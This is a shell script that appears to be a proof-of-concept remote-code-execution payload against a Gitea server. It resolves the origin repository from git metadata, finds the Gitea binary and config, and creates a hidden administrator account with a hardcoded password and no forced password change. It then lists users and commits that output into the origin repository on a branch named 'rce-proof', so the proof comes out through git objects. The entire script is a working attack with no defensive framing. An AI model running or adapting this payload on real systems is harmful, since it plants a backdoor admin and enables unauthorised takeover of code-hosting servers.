#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin=""
if [ -f "$git_dir/objects/info/alternates" ]; then
  o=$(head -1 "$git_dir/objects/info/alternates") || o=""
  case "$o" in
    /*) origin="${o%/objects}" ;;
    *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
  esac
fi
if [ -z "$origin" ]; then
  u=$(git remote get-url origin 2>/dev/null) || u=""
  case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -z "$origin" ]; then
  u=$(git config --get remote.origin.url 2>/dev/null) || u=""
  case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
  { echo '==BIN=='
command -v gitea; ls -l /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea /var/lib/gitea/gitea /bin/gitea 2>/dev/null
echo '==CFG=='
ls -l /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null
G=$(command -v gitea 2>/dev/null)
[ -z "$G" ] && G=$(ls /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea 2>/dev/null | head -1)
C=$(ls /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null | head -1)
echo "RESOLVED_BIN=$G"
echo "RESOLVED_CFG=$C"
echo '==CREATE=='
if [ -n "$G" ]; then
  if [ -n "$C" ]; then
    $G --config "$C" admin user create --username kalima_adm_qhza --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
  else
    $G admin user create --username kalima_adm_qhza --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
  fi
  echo "CREATE_EXIT=$?"
  echo '==USERLIST=='
  if [ -n "$C" ]; then
    $G --config "$C" admin user list 2>&1 | grep -E 'kalima_adm_qhza|rcs|ID' | head -6
  else
    $G admin user list 2>&1 | grep -E 'kalima_adm_qhza|rcs|ID' | head -6
  fi
fi
echo '==DONE=='
  } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
  ob=$(cat /tmp/gpoc_blob 2>/dev/null)
  [ -n "$ob" ] || exit 4
  tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
  commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
  git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
fi
exit 0
